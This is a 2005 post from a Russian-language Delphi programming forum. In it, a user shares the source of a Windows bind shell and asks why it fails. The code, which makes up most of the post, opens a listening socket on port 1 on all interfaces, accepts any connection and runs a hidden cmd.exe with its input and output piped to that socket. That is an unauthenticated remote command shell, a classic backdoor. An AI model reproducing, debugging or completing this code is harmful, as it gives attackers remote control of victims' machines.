VPF::Bind Shell - Форум программистов

Nobodyx

Дата 14.4.2005, 07:01 (ссылка)

(нет голосов)

Загрузка ...

Новичок

Профиль
Группа: Участник
Сообщений: 3
Регистрация: 26.3.2005

Репутация: нет
Всего: нет

Код

program Project2;

{$APPTYPE CONSOLE}

uses
 Windows , Winsock;
var
 addr:tsockaddr;
 t_twsadata:twsadata;
 t_length:integer;
 So:integer;
 Sock:integer;

procedure RemCMD(const App:string;c_sock:integer);
var
  s_info: TSTARTUPINFO;
  PI: TProcessInformation;
begin
  Zeromemory(@s_info, SizeOf(s_info));
  s_info.cb := SizeOf(s_info);
  s_info.dwFlags:=256;
  s_info.hStdError:=c_sock;
  s_info.hStdOutput:=c_sock;
  s_info.hStdInput:=c_sock;
  CreateProcess(nil, PChar(App), nil, nil, True, $8000040, nil, nil, s_info, PI);
  WaitForSingleObject(pi.hProcess,infinite);
end;

begin
  if WSAstartup(makeword(2,2),t_twsadata)<>0 then begin writeln('Error');sleep(infinite );end;
  addr.sin_family:=pf_inet;
  addr.sin_port:=htons(1);
  addr.sin_addr.s_addr:=inaddr_any;
  so:=socket(af_inet,sock_stream,ipproto_tcp);
  bind(So,addr,sizeof(addr));
  listen(So,somaxconn);
  t_length:=sizeof(tsockaddr);
  sock:=accept(So,@addr,@t_length);
  RemCmd('cmd.exe',sock);
end.

Теоретичекски данная прога должна открывать Cmd.exe и перенаправлять вывод на порт. Но по какой-то причине дело не идет...
Я сделал аналогичную прогу с испрользованием пайпов, но хочется реализовать вышенаписанную идею.

Не подскажите в чем проблема?

0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема \| Delphi: Сети \| Следующая тема »